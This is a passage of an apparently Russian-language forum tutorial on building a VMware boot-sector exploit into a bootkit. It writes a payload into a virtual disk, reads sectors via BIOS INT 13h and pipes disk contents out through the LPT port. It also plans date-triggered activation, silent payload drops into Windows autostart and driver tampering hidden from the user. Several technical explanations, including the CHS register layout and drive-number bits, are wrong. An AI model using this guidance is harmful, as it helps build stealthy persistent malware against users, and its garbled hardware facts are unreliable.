Пейлоад на виртуальном жёстком диске VMWare мы будем хранить сразу же за бутлоадером, то есть начиная со второго сектора диска.
У нас в данный момент используется пустой образ компьютера, без записанной на него перационной системы.
Поэтому сейчас мы не заботимся о сохранении данных, которые может хранить операционная система на жёстком диске.
Но когда мы будет реализовывать process continuation, эти области мы должны будем обходить и искать такие места на жёстком диске, которые гарантированно не используются операционной системой.
В частности, например, сектор диска с номером 6 в Windows используется для хранения резервной копии загрузчика операционной системы, и сейчас эта область будет затираться.

Запись пейлоада на виртуальный жёсткий диск VMWare мы будем делать аналогично тому, как это делали с записью бутлоадера.
Ищем в файе виртуального жётского диска VMDK сигнатуру бутлоадера, и сразу же после этой сигнатуры записываем наш EXE/DLL файл.
Напишём для этого простую вспомогательную утилиту write_payload.exe
Eё исходник лежит в папке src под именем write_payload.cpp

Делаём всё по тому же принципц, как делали с утилитой writeboot.exe
Только здесь мы под адрес места для записи пейлоада отсчитываем 57E00h+512 байт от начала файла, прибавив размер бутлоадера к адресу расположения будлоадера в файле виртуального жётсокго диска VMWare.
Переименовываем наш EXE/DLL файл в payload.bin и кладём его в текущую папку вместе с утилитой write_payload.exe
Утилита write_payload.exe прочитывает этот файл из текущей папки и записывает его содержимое в файл виртуального жётского диска VMWare по адресу 57E00h+512 (адрес смещения начало бутлоадре плюс размер бутлоадера).

Теперь, в данный момент времени, настройка эксплоита сводится к двум операциям: запись бутлоадера утилитой writeboot.exe и запись пейлоада утилитой write_payload.exe
Компиляция ассемблерных исходников и редактирование чего-либо в них теперь больше не требуется, сборка экспоита сильно упростилась.

Чтение данных с диска из загрузчика операционной системы

Чтение данных из загрузчика операционной системы мы будем осуществлять через прерывание BIOS int 13h
Пример кода, записывающего 5 секторов на жёсткий диск, начиная со второго сектора:

Код: Скопировать в буфер обмена
Код:
                                mov     al,2          ; Выбираем функцию номер 2 - чтение секторов
                                mov     ch,0         ; Выбираем номер цилиндра (трека)
                                mov     cl,2         ; Выбираем номер сектора
                                mov     dh,0          ; Выбираем номер головки
                                mov     dl,80h          ; Выбираем диск - 80h означает первый жёсткий диск (загрузочный)
                                mov     bx,0x1000    ; Настраиваем адрес сегмента памяти, в котырый будет осуществляться чтение
                                mov     es,bx
                                mov     bx,0x00      ; Указываем смещение относительно начала сегмента памяти
                                int     13h

Помещая в AL значеме 2 мы указываем номер функции внутри прерывания INT 13h. Номер 2 означает функцию чтения секторов с диска (как жёсткого, так и любого другого, с флоппи диском или CDROM то же можно работать с помощью этой функции).

Разберёмся с числовыми обозначениями дисков, которые пернедаются прерыванию INT 13h.
Номер жёсткого диска указывается в регистре DL. Для дисководов этот номер задаётся со значения 0 (0=первый дисковод, 1=второй дисковод и т.д.)
Но для жёстких дисков нумерацмя начинается со значение 80h (80h=первый жёсткий диск, 81h=второй жёсткий диск и т.д.)
У нас указан первый жёсткий диск (и единственный внутри виртуального образа VMWare), поэтому в DL помещено значение 80h
Почему именно число 80h, а не 2 ? Если дисковод "A:" нумеруется с нуля, дисковод "B:' тогда будет обозначаться как "1", и, соответственно жёсткий диск "C:" должен обозначаться номером 2.
Но на самом деле это не так.
В системе, например, может быть 3 дисковода. И дисководы гибких дисков могут быть обозначены буквами A,B и C.
Жёсткий диск тогда будет обозначен буквой D, буква жёсткого диска назначается следующей за буквой последнего из дисководов.
Жёсткий диск (или другие устройства, подключенные по стандарту IDE или SCSI) программируются совершенно иначе, чем дисководы. Используется другой чипсет (чипсет SuperIO), другие порты ввода-вывода.
Поэтому системе нужно указать, какой тип диска мы используем - флоппи-диск или жёсткий диск.
Для этого в регистре DL выставляется признак жёсткого диска. Это первый бит регистра DL. Если он установлен, то последующие 7 байт означают номер жёсткого диска.
Если перевести значение 80h в двоичную форму, то мы получим число 1000 0000
То есть мы видим взведённый первый бит, и следующее за ним число 0. Жёсткие диски нумеруются начиная с нуля, и нулевое значение означает первый жёсткий диск.
Например, шестнадцатеричный номер диска 83h в двоичной системе счисления выглядит как 1000 0011
В нём мы так же видим взведённый первый бит, и двоичное число "11" в конце, которое в переводе в десятичную либо шестнадцатеричную систему счисления даёт число 3, что обозначает диск номер 4.
Внутри обработчик прерывания проверка на тип диска обычно выполняется инструкцией "and dl,7fh" или "and dl,01111111b" в двоичной форме.
То есть логической операцией AND проверяется установка первого бита в 8-битном числе из регистра DL.

Теперь дальше разбираемся с адресацией секторов диска.
Секторы в прерывании INT 13h задаются не по порядковым номерам, а системой адресации называемой CHS (сокращение от Cylinder/Head/Sector)
Чтобы указать физическое положение сектора на жёстком диске мы должны указать три координаты.
На следующем рисунке показано где на жёстком диске находятся цилиндры, головки и сектора:

hdd_chs_adressation.jpg


hdd_physical_structure.png


В механическом жёстком диске (не SSD), как правило встроено неcколько круглых пластин с записанной на них информацией.
Каждой пластине соответствует своя считывающая головка, номер этой головки (HEAD) мы передаём прерыванию INT 13h, указывая пластину, на которой будем искать нужный сектор.
Этот номер пластины мы заносим в регистр DL, когда пользуемся прерыванием INT 13h.

На каждом диске по кругу расположены дорожки, именуемые треками или цилиндрами.
Каждая пластина диска покрыта такими концентрически расположенными дорожками с общим центром, но разными радиусами, уменьшающимися от краёв диска к его центру.
Под цилиндром так же понимается совокупность дорожек одного радиуса, находящаяся на всех пластинах.
Получается что-то похожее на геометрическую фигуру цилиндра, высота которого равна количеству пластин, и радиус равен номеру трека (дорожки).
Этот номер цилиндра мы заносим в регистр CH.

Каждый трек (дорожка) представляет собой окружность, разбитую на одинаковые фрагменты - секторы.
В каждом таком секторе, как правило, хранится по 512 байт информации. Но может быть выбран и другой размер, например 1024 байт.
Этот номер сектора мы заносим в регистр CL.

На рисунке так же видно, что размеры треков на диске неодинаковые. Длина окружности треков, расположенных ближе к центру, значительно меньше, чем длина треков расположенных ближе в внешнему краю диска.
Поэтому, если на каждый трек мы запишем одинаковое количество секторов, то плотность записи на внешниих треках будет значительно меньше, чем на внутренних. Из-за того, что треки имеют разную длину.
В результате этого поверхность жёсткого диска используется неэффективно. Чтобы этого не происходило, на внешние треки записывается большее количество секторов, чем на внутренние.
Такой метод записи, с разным количество секторов записываемым на треки разной длины, называется методом ZBR - Zonal Bit Recording (Зоновая Битовая Запись)
То есть для каждого трека на пластине диска (для определённой зоны диска) мы отводим своё количество бит, в соответствии с физической длиной трека (зоны). И, следовательно, размещаем большее количество секторов для более длинного трека.

Пластина диска вращается с постоянной скоростью. Следовательно, трек расположенный на внешней стороне диска, будет прочитан за то же время, что и на внутренней.
Но на внешней стороне диска записано больше данных, ввиду большей длины окружности.
Следовательно скорость чтения данных с внешних дорожек всегда будет выше, чем с внутренних.
Поэтому, нумерацию треков ведут всегда от внешней стороны диска к внутренней, первая дорожка диска находится ближе всего к его краю.

Именно по этой причине загрузочный сектор и загрузчик операционной системы на физическом носители расположены ближе к краю пластины жёсткого диска - это даёт некоторый прирост производительности системы.

Для адресации цилиндра, головки и сектора мы используем 8-битное значение для каждой из этих трёх координат.
Следовательно, полное возможное число коодринат, задаваемых этим способом адресации, может быть представлено 8*3=24 битным числом.
Возводим 2 в степень 24 и получаем максимально возможно число адресуемых секторов - 16777216
Умножая это количество секторов на размер сектора в 512 байт мы получаем число - 8589934592 байт, или 8 Gb.
Это максимальный размер жёсткого диска, который возможен при использовании адресации CHS. Все данные, которые находятся 8-гигабайтной границей, при использовании этого способоа адресации будут не видны.

Для наших целей вполне достаточно возможностей это адресации, так как мы будем оперировать данными значительно меньшего размера, чем 8 гигабайт.

Статус результата работы то или иной функции прерывания INT 13h может возвращаться в регистре AH, AL, а так же сохраняться в область памяти по адресу 0000:0441
Так же если произошла ошибка, то об этом сигнализирует взведённый Carry Flag (CF).
Проверяя после выхода из прерывания состояние флага CF инструкцией "JC disk_error" делаем переход на обработчик ошибок операций с диском.

Так как при работе с виртуальным жёстким диском VMWare мы не будем выходить за границы 8 гигабайтной области данных, доступных для адресации типа CHS, мы будем пользоваться именно этим типом адресации.
Но существует и другой способ адресации, при котором сектора нумеруются последовательно от нуля и до бесконечности.
Первый сектор (MBR) равняется нулю, и далее номер каждого последующего сектора на диске увеличивается на единицу.
Этот второй способ адресации секторов на диске называется LBA (Logical Block Adresing) - логическая адресация блоков.
В нём мы уходим от особенностей физического расположения блоков на жёстком диске, заменив физическую адресацию (указывали головку,цилиндр,сектор) на логическую (последовательность чисел от нуля до максимально возможного номера сектора, в соответствии с объёмом жёсткого диска).
Для начальной 8-гигабайтной области LBA адресации существует формула пересчёта CHS адресов в LBA, и наоборот,

Код: Скопировать в буфер обмена
A = (c * N_heads + h) * N_sectors + (s - 1)

Где N это количество головок на пластину, N_sectors - количество секторов в треке, C,H,S - это номер цилиндра, головки и сектора.
Максимальные значения числе C, H, S называются drive geometry (геометрия диска), они задаются в BIOS и используются в режиме работы с отключенным способом адресации LBA.
Для того чтобы работать с LBA адресацией в прерывание INT 13h встроена фукнкция с номером 42h

В буткитах нам понадобится записать либо изменить некоторый файл на диске, расположеный в произвольном месте диска. Например за границами адресации, используемой методом CHS.
Нам нужно будет, например, до загрузки операционной системы модифицировать на диске определённый драйвер из папки system32 или сбросить туда свой драйвер.
Поэтому для разработки буткита не остаётся варианта, как воспользоваться методом адресации LBA.
Но для нашей текущей задачи вполне сейчас хватает и метода адресации CHS.

Объединяем чтение данных c диска вместе с отправкой их в LPT порт

Стандартно на одном треке жёсткого диска расположено 63 сектора (по крайней мере на виртуальном диске VMWare установлен такой стандарт разметки).
Прочитаем один трек в память диска, сделав это через прерывание INT 13h.
Делается это следующим кодом:
Код: Скопировать в буфер обмена
Код:
                            mov     ah, 2
                            mov    al, 63
                            mov     dx, 80h
                            mov     cx, 0
                            mov     bx, 8000h
                            int        13h

В bx мы помещаем адрес с большим значением, чем 7C00h. Наш код загрузочного сектора, как уже ранее упоминалось, грузится по адресу 7C00h.
Поэтому, чтобы гарантированно не затереть собственный исполняемый код, мы берём адрес заведомо больший, чем 7C00h+200h байт (200h байт это размер одного сектора, 512 байт в десятично системе счисления).
Далее, прочитав сектор в память, отправляем его в LPT порт с помощью процедуры lpt_output, которая была приведена в начале статьи:

Код: Скопировать в буфер обмена
Код:
                            mov    si, 8000h
                            mov    cx, 512*63
                transmit_track_to_lpt:
                            lodsb
                            xchg    ah, al
                            push    cx
                            call    lpt_output
                            pop    cx
                            loop    transmit_track_to_lpt

Регистр SI указывает на область памяти, куда только что считалось содержимое одного трека.
Нужен именно регистр SI из-за того, что он используется инструкциями обработки байтовых последовательностей.
В частности он используется инструкцией lodsb, которую мы применяем внутри цикла для последовательного получения байт из области памяти, в которой хранится считанный трек.
В регистр CX мы помещаем размер трека: 63 сектора по 512 байт каждый.
Далее внутри цикла получаем последовательно все байты трека один за другим, и каждый полученный байт отправляем в LPT порт при помощи процедуры lpt_output
И далее повторяем эту операцию для каждого трека, пока не дойдём до конца записанного на этих треках файла.

Организация пауз в загрузочном секторе, аналог функции sleep реализованный через прерывания

Между отдельными операциями с оборудованием нам нужно будет выдерживать интервалы времени определённой длины, поэтому на нужен способ организации пауз, аналогичный функции sleep из разных языков программирования.
Для работы с системными часами в BIOS встроено прерывание INT 1Ah. Это те системные часы, которые работают от круглой батарейки CR2032 на системной плате.
И то значение времени, которое заносится в CMOS память, которая так же запитывается от этой батарейки.
Функция похожа на WINAPI GetSystemTime/SetSystemTime в Windows, делает почти то же самое.
Через регистры CX и DX либо заносится текущее дата и время, либо считывается в них.
Кроме того, существует возможность настроить таймер срабатывания на определённую дату и время.
Задав функцию 06H в регистре AL и настроив параметры времени и даты мы установим момент времени, в который сработает прерывание INT 4Ah
Это не прерывани BIOS, его мы пишем самостоятельно. Указатель на код этого прерывания мы прописываем в таблице векторов прерываний IDT (interrupt Descriptor Table), располоденной в самом начале физической памяти.
С помощью этого прерывания мы можем реализоввать, например, отстроченный запуск буткита. Буткит спит какое-то время и не проявляет никакой активности.
Но по наступлению определённой даты начинает выполнять свой функционал.

Вывод видеоэффекта в конце работы эксплоита

В текущем варианте эксплоита в конце его работы выводится видеоэффект.
Сложный видеоэффект демонстрирует широкие возможности работы с оборудованием без помощи операционной системы.
При этом код получается экстремально компактным (код данного видеоэффекта занимает чуть больше 100 байт), при этом выводимая графика достаточно сложная.
Кроме того, это показывает то, что можно достичь экстремально больших скоростей работы оборудования и вычислительной мощности, так как ресурсы не будут тратиться на работу Windows.
Кроме буткитов/биоскитов, рассмотренные в данной статье технологии могут быть применимы к проектам, где необходимо максимально возможное эффективное использование аппаратных ресурсов компьютера и периферийного оборудования, а так же требуется максимальная производительность работы процессора.

Исходник буткита, пример работы которого показан на видео, лежит в папке src в файле vmware_bootkit.asm

В следующей статье вместо видеоэффекта мы реализуем так называемый Process Continuation, то есть нормальную как ни в чём не бывало загрузку операционной системы, при незаметной параллельной работе эксплоита.
Запускаем образ VMWare, происходит обычная загрузка Windows, не производится никаких посторонних эффектов.
И пока идёт загрузка Windows внутри образа VMWare, в папку автозагрузки тихо производится сброс EXE/DLL пейлоада.
Этот бесшумный вариант работы эксплоита является уже полноценным буткитом - программным кодом, встроенным в начальный процесс загруки компьютера и выполняющим определённые нужные действия, и работающим незаметно для пользователя.
Следующая статья будет об реализации тихой, бесшумной работы VMWare эксплоита, начало новой темы - написание буткита к современным операционным системам (Windows 10, Windows Server 2019)

Список используемой литературы и материалов с комментариями

Матросов, Родионов, Братусь: Руткиты и буткиты. Обратная разработка вредоносных программ и угрозы следующего поколения.

В книге собрана воедино вся паблик информация по буткитам. Сделан полный разбор отдельных известных буткитов (TDL-4, Sinowal)
Много полезной теории: в частности подробно расписан процесс начальной загрузки компьютера и загрузки операционной системы.
В процессе описания последовательности загрузки хорошо показаны этапы загрузки, в которые можно встоить свой код буткита.
Разобрано устройство простейших hello world буткитов, и от простого к сложному подводится к разбору уже сложных продуктов, типа буткита TDL-4.

Проект TinyBIOS

Простой BIOS с базовым набором поддерживаемой перефирии, работающий везде и на любом оборудовании.
В обработчиках прерываниях реализованы только базовые вещи, ничего лишнего.
По этому базовому набору операций легко вникнуть в прицип работы и уже дальше нарастить собственный необходимый функционал.
Много простых и понятных примеров низкоуровневой работы с различным оборудованием: клавиатура, мышь, накопительи данных, порты и т.д.

Проект CoreBoot

Более сложный проект BIOS с открытым исходным кодом.
Это уже полноценный BIOS, ориентированный в основном на компьютеры которые будут работаь под ОС Linux.
Для написания биоскитов здесь прежде всего интересна работа с жёсткими дискми.
Много типов поддерживаемых интерфейсов контроллеров жёстких дисков (в TinyBIOS поддерживается только IDE).

Сайт OSDev: https://osdev.org

Крупнейший и самый известный ресурс, посвящённый разработке операционных систем и аппаратному программированию.
Если хотите разобраться в написании бутлоадеров, здесь много полезной информации, собранной в одном месте.
Много туториалов разной степени сложности, от начинающего до продвинутого уровня.

Владимир Кулаков. Программирование на аппаратном уровне.

Большой справочник по работе с аппаратными средствами компьютера на ассемблере.
Подробно рассмотрена очень интересная вещь - работа с Ethernet адаптером на ассемблере, в частности с адаптерами стандарта NE2000.
Вполне возможно эту тему доработать так, чтобы из загрузочного сектора или из BIOS получать доступ в инет, и сделать, например, лоадер работающий из BIOS или бутлоадера.
Очень подробно рассмотрена работа с HID устройствами: клавиатура, мышь, работа с SVGA адаптером.

Михаил Гук. Аппаратные средства IBM PC

То же самое что и предыдущая книга, но в ней подробнее рассмотрена работа с коммуникационными портами.
В частности с портами COM и LPT, которые нам в основном и необходимы для реализации разрабатываемого нами эксплоита.
 
Сверху Снизу